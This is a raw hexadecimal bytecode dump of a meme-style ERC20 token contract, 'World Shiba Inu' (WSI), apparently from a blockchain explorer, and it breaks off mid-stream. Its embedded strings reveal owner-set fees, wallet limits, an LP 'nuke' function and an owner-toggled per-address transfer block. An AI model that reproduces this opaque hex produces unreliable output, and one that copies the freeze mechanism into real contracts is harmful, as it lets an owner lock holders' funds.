00000000000000000000000000000000000000000000000000000815260040161166c906135d3565b60405180910390fd5b6102588310156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b1906137e0565b60405180910390fd5b6103e882111580156116cd575060008210155b61170c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170390613872565b60405180910390fd5b82600f8190555081600d8190555080600e60006101000a81548160ff021916908315150217905550505050565b6000611743612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c9906135d3565b60405180910390fd5b6000601360006101000a81548160ff0219169083151502179055506001905090565b6117fc612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611882906135d3565b60405180910390fd5b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b6118f4612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a906135d3565b60405180910390fd5b8260198190555081601a8190555080601b81905550601b54601a546019546119ab9190613892565b6119b59190613892565b60188190555060146018541115611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f890613934565b60405180910390fd5b505050565b601d5481565b606060048054611a1b90613555565b80601f0160208091040260200160405190810160405280929190818152602001828054611a4790613555565b8015611a945780601f10611a6957610100808354040283529160200191611a94565b820191906000526020600020905b815481529060010190602001808311611a7757829003601f168201915b5050505050905090565b611aa6612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2c906135d3565b60405180910390fd5b611b3f8282612ea6565b5050565b601b5481565b60125481565b601f5481565b611b5d612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be3906135d3565b60405180910390fd5b80601360036101000a81548160ff02191690831515021790555050565b611c11612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c97906135d3565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611da7611cf1612771565b84611da285604051806060016040528060258152602001613e816025913960016000611d1b612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b612779565b6001905092915050565b60105481565b601360039054906101000a900460ff1681565b6000611dde611dd7612771565b8484612944565b6001905092915050565b611df0612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e76906135d3565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60286020528060005260406000206000915054906101000a900460ff1681565b601360019054906101000a900460ff1681565b611f7a612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612000906135d3565b60405180910390fd5b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120a691906131d9565b60405180910390a25050565b6120ba612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612149576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612140906135d3565b60405180910390fd5b633b9aca006103e8600561215b610e6f565b6121659190613622565b61216f91906136ab565b61217991906136ab565b8110156121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b2906139c6565b60405180910390fd5b633b9aca00816121cb9190613622565b600c8190555050565b601760009054906101000a900460ff1681565b60185481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b6000612284612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230a906135d3565b60405180910390fd5b6000601760006101000a81548160ff0219169083151502179055506001905090565b601a5481565b6000612345612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb906135d3565b60405180910390fd5b6001601360006101000a81548160ff0219169083151502179055506001905090565b601e5481565b6000612406612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248c906135d3565b60405180910390fd5b6011546012546124a59190613892565b42116124e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dd90613a32565b60405180910390fd5b6103e882111561252b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252290613ac4565b60405180910390fd5b4260128190555060008061255c61271061254e8685612f4790919063ffffffff16565b6126c990919063ffffffff16565b90506000811115612594577f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb60405160405180910390a15b600192505050919050565b6125a7612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262d906135d3565b60405180910390fd5b84601d8190555083601e8190555082601f819055508160208190555080602181905550601f54601e54601d5461266c9190613892565b6126769190613892565b601c819055506019601c5411156126c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b990613b30565b60405180910390fd5b5050505050565b600061270b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612fc2565b905092915050565b60008082846127229190613892565b905083811015612767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275e90613b9c565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e090613c2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285090613cc0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129379190613230565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ab90613d06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1b90613d06565b60405180910390fd5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612ac55750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b0e5760008114612b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0490613d06565b60405180910390fd5b5b612b19838383613025565b612b7b81604051806020016040528060008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cad9190613230565b60405180910390a3505050565b6000838311158290612d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf991906130c3565b60405180910390fd5b5060008385612d119190613d26565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8590613da6565b60405180910390fd5b612ddf816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e368160025461271390919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e9a9190613230565b60405180910390a35050565b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600080831415612f5a5760009050612fbc565b60008284612f689190613622565b9050828482612f7791906136ab565b14612fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fae90613e38565b60405180910390fd5b809150505b92915050565b60008083118290613009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161300091906130c3565b60405180910390fd5b506000838561301891906136ab565b9050809150509392505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613064578082015181840152602081019050613049565b83811115613073576000848401525b50505050565b6000601f19601f8301169050919050565b60006130958261302a565b61309f8185613035565b93506130af818560208601613046565b6130b881613079565b840191505092915050565b600060208201905081810360008301526130dd818461308a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613115826130ea565b9050919050565b6131258161310a565b811461313057600080fd5b50565b6000813590506131428161311c565b92915050565b6000819050919050565b61315b81613148565b811461316657600080fd5b50565b60008135905061317881613152565b92915050565b60008060408385031215613195576131946130e5565b5b60006131a385828601613133565b92505060206131b485828601613169565b9150509250929050565b60008115159050919050565b6131d3816131be565b82525050565b60006020820190506131ee60008301846131ca565b92915050565b60006020828403121561320a576132096130e5565b5b600061321884828501613133565b91505092915050565b61322a81613148565b82525050565b60006020820190506132456000830184613221565b92915050565b600060208284031215613261576132606130e5565b5b600061326f84828501613169565b91505092915050565b600080600060608486031215613291576132906130e5565b5b600061329f86828701613133565b93505060206132b086828701613133565b92505060406132c186828701613169565b9150509250925092565b600060ff82169050919050565b6132e1816132cb565b82525050565b60006020820190506132fc60008301846132d8565b92915050565b61330b8161310a565b82525050565b60006020820190506133266000830184613302565b92915050565b613335816131be565b811461334057600080fd5b50565b6000813590506133528161332c565b92915050565b600080600060608486031215613371576133706130e5565b5b600061337f86828701613169565b935050602061339086828701613169565b92505060406133a186828701613343565b9150509250925092565b600080604083850312156133c2576133c16130e5565b5b60006133d085828601613133565b92505060206133e185828601613343565b9150509250929050565b600080600060608486031215613404576134036130e5565b5b600061341286828701613169565b935050602061342386828701613169565b925050604061343486828701613169565b9150509250925092565b600060208284031215613454576134536130e5565b5b600061346284828501613343565b91505092915050565b60008060408385031215613482576134816130e5565b5b600061349085828601613133565b92505060206134a185828601613133565b9150509250929050565b600080600080600060a086880312156134c7576134c66130e5565b5b60006134d588828901613169565b95505060206134e688828901613169565b94505060406134f788828901613169565b935050606061350888828901613169565b925050608061351988828901613169565b9150509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061356d57607f821691505b6020821081141561358157613580613526565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135bd602083613035565b91506135c882613587565b602082019050919050565b600060208201905081810360008301526135ec816135b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061362d82613148565b915061363883613148565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613671576136706135f3565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136b682613148565b91506136c183613148565b9250826136d1576136d061367c565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000613738602f83613035565b9150613743826136dc565b604082019050919050565b600060208201905081810360008301526137678161372b565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b60006137ca603383613035565b91506137d58261376e565b604082019050919050565b600060208201905081810360008301526137f9816137bd565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061385c603083613035565b915061386782613800565b604082019050919050565b6000602082019050818103600083015261388b8161384f565b9050919050565b600061389d82613148565b91506138a883613148565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138dd576138dc6135f3565b5b828201905092915050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b600061391e601d83613035565b9150613929826138e8565b602082019050919050565b6000602082019050818103600083015261394d81613911565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b60006139b0602483613035565b91506139bb82613954565b604082019050919050565b600060208201905081810360008301526139df816139a3565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000613a1c602083613035565b9150613a27826139e6565b602082019050919050565b60006020820190508181036000830152613a4b81613a0f565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000613aae602a83613035565b9150613ab982613a52565b604082019050919050565b60006020820190508181036000830152613add81613aa1565b9050919050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000613b1a601d83613035565b9150613b2582613ae4565b602082019050919050565b60006020820190508181036000830152613b4981613b0d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b86601b83613035565b9150613b9182613b50565b602082019050919050565b60006020820190508181036000830152613bb581613b79565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c18602483613035565b9150613c2382613bbc565b604082019050919050565b60006020820190508181036000830152613c4781613c0b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613caa602283613035565b9150613cb582613c4e565b604082019050919050565b60006020820190508181036000830152613cd981613c9d565b9050919050565b50565b6000613cf0600083613035565b9150613cfb82613ce0565b600082019050919050565b60006020820190508181036000830152613d1f81613ce3565b9050919050565b6000613d3182613148565b9150613d3c83613148565b925082821015613d4f57613d4e6135f3565b5b828203905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613d90601f83613035565b9150613d9b82613d5a565b602082019050919050565b60006020820190508181036000830152613dbf81613d83565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e22602183613035565b9150613e2d82613dc6565b604082019050919050565b60006020820190508181036000830152613e5181613e15565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b980f42e79fc59260d603147b02b7563deb713a74373c84dda72a6d5829fee1564736f6c63430008090033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000000f576f726c6420536869626120496e75000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035753490000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061036f5760003560e01c80638095d564116101c6578063b62496f5116100f7578063e2f4560511610095578063f5ed24301161006f578063f5ed243014610ce3578063f637434214610d0e578063fe72b27a14610d39578063ff935af614610d7657610376565b8063e2f4560514610c62578063e884f26014610c8d578063f11a24d314610cb857610376565b8063c18bc195116100d1578063c18bc19514610ba6578063c876d0b914610bcf578063d85ba06314610bfa578063dd62ed3e14610c2557610376565b8063b62496f514610b15578063bbc0c74214610b52578063c024666814610b7d57610376565b8063a265777811610164578063a4c82a001161013e578063a4c82a0014610a59578063a4d15b6414610a84578063a9059cbb14610aaf578063aacebbe314610aec57610376565b8063a2657778146109ca578063a456f9a4146109f3578063a457c2d714610a1c57610376565b80639a7a23d6116101a05780639a7a23d6146109205780639c3b4fdc146109495780639ec22c0e14610974578063a0d82dc51461099f57610376565b80638095d564146108a157806392136913146108ca57806395d89b41146108f557610376565b80634a62bb65116102a05780636ddd17131161023e578063730c188811610218578063730c1888146107f9578063751039fc146108225780637571336a1461084d5780637bce5a041461087657610376565b80636ddd17131461076657806370a082311461079157806370d5ae05146107ce57610376565b8063541a43cf1161027a578063541a43cf146106be578063549f3295146106e95780636a486a8e146107125780636bd89cdd1461073d57610376565b80634a62bb651461062d5780634f807d26146106585780634fbee1931461068157610376565b806323b872dd1161030d5780632e82f1a0116102e75780632e82f1a01461055d578063313ce5671461058857806339509351146105b357806343b547ee146105f057610376565b806323b872dd146104ca5780632bf3d42d146105075780632c3e486c1461053257610376565b806318160ddd1161034957806318160ddd14610420578063184c16c51461044b578063199ffc7214610476578063203e727e146104a157610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d9f565b60405161039d91906130c3565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061317e565b610e31565b6040516103da91906131d9565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906131f4565b610e4f565b60405161041791906131d9565b60405180910390f35b34801561042c57600080fd5b50610435610e6f565b6040516104429190613230565b60405180910390f35b34801561045757600080fd5b50610460610e79565b60405161046d9190613230565b60405180910390f35b34801561048257600080fd5b5061048b610e7f565b6040516104989190613230565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c3919061324b565b610e85565b005b3480156104d657600080fd5b506104f160048036038101906104ec9190613278565b610fa7565b6040516104fe91906131d9565b60405180910390f35b34801561051357600080fd5b5061051c611080565b6040516105299190613230565b60405180910390f35b34801561053e57600080fd5b50610547611086565b6040516105549190613230565b60405180910390f35b34801561056957600080fd5b5061057261108c565b60405161057f91906131d9565b60405180910390f35b34801561059457600080fd5b5061059d61109f565b6040516105aa91906132e7565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d5919061317e565b6110b6565b6040516105e791906131d9565b60405180910390f35b3480156105fc57600080fd5b50610617600480360381019061061291906131f4565b611169565b60405161062491906131d9565b60405180910390f35b34801561063957600080fd5b506106426111bf565b60405161064f91906131d9565b60405180910390f35b34801561066457600080fd5b5061067f600480360381019061067a919061317e565b6111d2565b005b34801561068d57600080fd5b506106a860048036038101906106a391906131f4565b611277565b6040516106b591906131d9565b60405180910390f35b3480156106ca57600080fd5b506106d36112cd565b6040516106e09190613230565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b91906131f4565b6112d3565b005b34801561071e57600080fd5b5061072761147c565b6040516107349190613230565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f91906131f4565b611482565b005b34801561077257600080fd5b5061077b61155d565b60405161078891906131d9565b60405180910390f35b34801561079d57600080fd5b506107b860048036038101906107b391906131f4565b611570565b6040516107c59190613230565b60405180910390f35b3480156107da57600080fd5b506107e36115b8565b6040516107f09190613311565b60405180910390f35b34801561080557600080fd5b50610820600480360381019061081b9190613358565b6115de565b005b34801561082e57600080fd5b50610837611739565b60405161084491906131d9565b60405180910390f35b34801561085957600080fd5b50610874600480360381019061086f91906133ab565b6117f4565b005b34801561088257600080fd5b5061088b6118e6565b6040516108989190613230565b60405180910390f35b3480156108ad57600080fd5b506108c860048036038101906108c391906133eb565b6118ec565b005b3480156108d657600080fd5b506108df611a06565b6040516108ec9190613230565b60405180910390f35b34801561090157600080fd5b5061090a611a0c565b60405161091791906130c3565b60405180910390f35b34801561092c57600080fd5b50610947600480360381019061094291906133ab565b611a9e565b005b34801561095557600080fd5b5061095e611b43565b60405161096b9190613230565b60405180910390f35b34801561098057600080fd5b50610989611b49565b6040516109969190613230565b60405180910390f35b3480156109ab57600080fd5b506109b4611b4f565b6040516109c19190613230565b60405180910390f35b3480156109d657600080fd5b506109f160048036038101906109ec919061343e565b611b55565b005b3480156109ff57600080fd5b50610a1a6004803603810190610a1591906131f4565b611c09565b005b348015610a2857600080fd5b50610a436004803603810190610a3e919061317e565b611ce4565b604051610a5091906131d9565b60405180910390f35b348015610a6557600080fd5b50610a6e611db1565b604051610a7b9190613230565b60405180910390f35b348015610a9057600080fd5b50610a99611db7565b604051610aa691906131d9565b60405180910390f35b348015610abb57600080fd5b50610ad66004803603810190610ad1919061317e565b611dca565b604051610ae391906131d9565b60405180910390f35b348015610af857600080fd5b50610b136004803603810190610b0e91906131f4565b611de8565b005b348015610b2157600080fd5b50610b3c6004803603810190610b3791906131f4565b611f3f565b604051610b4991906131d9565b60405180910390f35b348015610b5e57600080fd5b50610b67611f5f565b604051610b7491906131d9565b60405180910390f35b348015610b8957600080fd5b50610ba46004803603810190610b9f91906133ab565b611f72565b005b348015610bb257600080fd5b50610bcd6004803603810190610bc8919061324b565b6120b2565b005b348015610bdb57600080fd5b50610be46121d4565b604051610bf191906131d9565b60405180910390f35b348015610c0657600080fd5b50610c0f6121e7565b604051610c1c9190613230565b60405180910390f35b348015610c3157600080fd5b50610c4c6004803603810190610c47919061346b565b6121ed565b604051610c599190613230565b60405180910390f35b348015610c6e57600080fd5b50610c77612274565b604051610c849190613230565b60405180910390f35b348015610c9957600080fd5b50610ca261227a565b604051610caf91906131d9565b60405180910390f35b348015610cc457600080fd5b50610ccd612335565b604051610cda9190613230565b60405180910390f35b348015610cef57600080fd5b50610cf861233b565b604051610d0591906131d9565b60405180910390f35b348015610d1a57600080fd5b50610d236123f6565b604051610d309190613230565b60405180910390f35b348015610d4557600080fd5b50610d606004803603810190610d5b919061324b565b6123fc565b604051610d6d91906131d9565b60405180910390f35b348015610d8257600080fd5b50610d9d6004803603810190610d9891906134ab565b61259f565b005b606060038054610dae90613555565b80601f0160208091040260200160405190810160405280929190818152602001828054610dda90613555565b8015610e275780601f10610dfc57610100808354040283529160200191610e27565b820191906000526020600020905b815481529060010190602001808311610e0a57829003601f168201915b5050505050905090565b6000610e45610e3e612771565b8484612779565b6001905092915050565b60276020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60115481565b600d5481565b610e8d612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f13906135d3565b60405180910390fd5b633b9aca006103e86001610f2e610e6f565b610f389190613622565b610f4291906136ab565b610f4c91906136ab565b811015610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f859061374e565b60405180910390fd5b633b9aca0081610f9e9190613622565b600a8190555050565b6000610fb4848484612944565b61107584610fc0612771565b61107085604051806060016040528060288152602001613e5960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611026612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b612779565b600190509392505050565b60215481565b600f5481565b600e60009054906101000a900460ff1681565b6000600560009054906101000a900460ff16905090565b600061115f6110c3612771565b8461115a85600160006110d4612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b612779565b6001905092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601360009054906101000a900460ff1681565b6111da612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611269576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611260906135d3565b60405180910390fd5b6112738282612d1e565b5050565b6000602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60205481565b6112db612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461136a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611361906135d3565b60405180910390fd5b60001515601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611420576001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611479565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b601c5481565b61148a612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611519576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611510906135d3565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115e6612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906135d3565b60405180910390fd5b6102588310156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b1906137e0565b60405180910390fd5b6103e882111580156116cd575060008210155b61170c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170390613872565b60405180910390fd5b82600f8190555081600d8190555080600e60006101000a81548160ff021916908315150217905550505050565b6000611743612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c9906135d3565b60405180910390fd5b6000601360006101000a81548160ff0219169083151502179055506001905090565b6117fc612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff